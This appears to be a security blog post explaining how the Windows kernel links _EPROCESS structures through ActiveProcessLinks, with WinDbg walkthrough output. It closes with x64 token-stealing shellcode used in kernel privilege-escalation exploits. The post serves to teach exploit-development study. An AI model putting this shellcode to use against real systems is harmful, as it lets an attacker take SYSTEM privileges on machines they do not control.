Plackyhacker

OSCE3 | OSCE | OSCP

Home

Doubly-Linked Lists in the Windows Kernel

Recently I have been studying different Kernel structures and it suddenly occurred to me that there is a pattern used by Microsoft to implement doubly-linked lists within their structures. I’m pretty sure this is common knowledge to a lot of people, but I thought I would put a brief post together explaining them… just in case, like me you need it.

Why Should We Care?

If you have ever studied Kernel driver exploitation or even done a lab where a custom driver is used to get privilege escalation then you are probably familiar with token stealing shellcode. Now, you may have just copied and pasted the shellcode into your exploit (tut tut) but if you understand how the System process is enumerated then doesn’t that feel a bit better?

If you didn’t just copy and paste the shellcode and you tried to understand it then you will have noticed that there is a doubly-linked list that you need to traverse until you find the System process. This is the ActiveProcessLinks field in the _EPROCESS structure.

Doubly-Linked Lists

The next image will explain what a doubly-linked list looks like. It is simply a collection of _LIST_ENTRY structs, each containing a Flink (forward link), and a Blink (backwards link) field:

Screenshot 2024-09-23 at 20 20 31

The Flink contains a pointer to the next _LIST_ENTRY and the Blink contains a pointer to the previous _LIST_ENTRY. Also notice that they are circular, meaning the tail (last entry) has an Flink to the head (first entry) and vice-versa. All good so far.

Now the confusion (at least for me). If the doubly-linked list is inside an _EPROCESS structure, say the ActiveProcessLinks field, where is the field that points to the _EPROCESS?

Doubly-Linked Lists in Structures

It turns out it isn’t confusing at all, although there isn’t a pointer to the _EPROCESS structure, it’s actually really easy to understand, I just didn’t know until after observing a few of these lists it just occured to me. Yeah I know! That’s what happens when you do an IT degree instead of a computer science degree!

Screenshot 2024-09-23 at 20 31 53

The address of the Flink field, and of course the Blink field are simply offsets of the _EPROCESS structure! That is the address of _LIST_ENTRY is inside the _EPROCESS structure at an offset, to traverse the link, say to get the next _EPROCESS we dereference the Flink and use that address minus the offset of ActiveProcessLinks to get the address of the next _EPROCESS.

Walking Lists in Windbg

If we break in to the kernel of a debugee we can set the process context to a cmd.exe instance that was started:

1: kd> !process 0 0 cmd.exe
PROCESS ffff82862f1240c0
    SessionId: 1  Cid: 1bf8    Peb: fe5bc63000  ParentCid: 11d4
    DirBase: 1e6040002  ObjectTable: ffffe1052fb17000  HandleCount:  70.
    Image: cmd.exe

Next, we can examine the ActiveProcessLinks field which contains the _LIST_ENTRY for the next and previous _PROCESS structures:

1: kd> dt _EPROCESS ffff82862f1240c0 ActiveProcessLinks
nt!_EPROCESS
   +0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xffff8286`2f068508 - 0xffff8286`317dc508 ]

Using 0xffff82862f068508 we can follow the Flink and examine the next _EPROCESS by subtracting the ActiveProcessLinks field offset:

1: kd> dt _EPROCESS (0xffff82862f068508-0x448) UniqueProcessId, ActiveProcessLinks, ImageFileName
nt!_EPROCESS
   +0x440 UniqueProcessId     : 0x00000000`00000890 Void
   +0x448 ActiveProcessLinks  : _LIST_ENTRY [ 0xfffff800`116263a0 - 0xffff8286`2f124508 ]
   +0x5a8 ImageFileName       : [15]  "conhost.exe"

Continue walking the ActiveProcessLinks doubly-linked list and we will arrive at the System process:

1: kd> dt _EPROCESS (0xfffff800116263a0-0x448) UniqueProcessId, ActiveProcessLinks, ImageFileName
nt!_EPROCESS
   +0x440 UniqueProcessId     : (null) 
   +0x448 ActiveProcessLinks  : _LIST_ENTRY [ 0xffff8286`2c274488 - 0xffff8286`2f068508 ]
   +0x5a8 ImageFileName       : [15]  ""
1: kd> dt _EPROCESS (0xffff82862c274488-0x448) UniqueProcessId, ActiveProcessLinks, ImageFileName
nt!_EPROCESS
   +0x440 UniqueProcessId     : 0x00000000`00000004 Void
   +0x448 ActiveProcessLinks  : _LIST_ENTRY [ 0xffff8286`2c35d4c8 - 0xfffff800`116263a0 ]
   +0x5a8 ImageFileName       : [15]  "System"

Just for completion we can also examine the Blink in the conhost.exe process and confirm that we arrive back at the cmd.exe process where we started:

1: kd> dt _EPROCESS (0xffff8286`2f124508-0x448) UniqueProcessId, ActiveProcessLinks, ImageFileName
nt!_EPROCESS
   +0x440 UniqueProcessId     : 0x00000000`00001bf8 Void
   +0x448 ActiveProcessLinks  : _LIST_ENTRY [ 0xffff8286`2f068508 - 0xffff8286`317dc508 ]
   +0x5a8 ImageFileName       : [15]  "cmd.exe"

The Shellcode

The following shellcode is typical token stealing shellcode used in privilege escalation attacks:

BITS 64
SECTION .text
    SYS_PID equ 0x04
    PRCB_DATA equ 0x180
    CURRENT_THREAD equ 0x08
    APC_STATE equ 0x98
    PROCESS equ 0x20
    UNIQUE_PROCESS_ID equ 0x440
    ACTIVE_PROCESS_LINKS equ 0x448
    TOKEN equ 0x4b8

global main

main:
find_process:
    xor rax, rax                                  
    mov rax, [gs:rax+PRCB_DATA+CURRENT_THREAD]    
    mov rax, [rax+APC_STATE+PROCESS]
    mov r8, rax
    mov r9, SYS_PID

next_system_process:
    mov r8, [r8+ACTIVE_PROCESS_LINKS]    ; We dereference the Flink in to r8
    sub r8, ACTIVE_PROCESS_LINKS         ; We subtract the offset to get the address of the next _EPROCESS
    cmp [r8+UNIQUE_PROCESS_ID], r9       ; We check the process ID (looking for 4 = System)
    jnz next_system_process              ; if not then loop back to dereference the next Flink

found_system_process:
    mov rcx, [r8+TOKEN] 
    and cl, 0xf0
    mov [rax+TOKEN], rcx

I have only commented the bits discussed in this post.

That is all, go away!

Home

Comments

Feel free to leave comments or questions for this blog post. Please be respectful, I will moderate comments and reserve the right to remove them.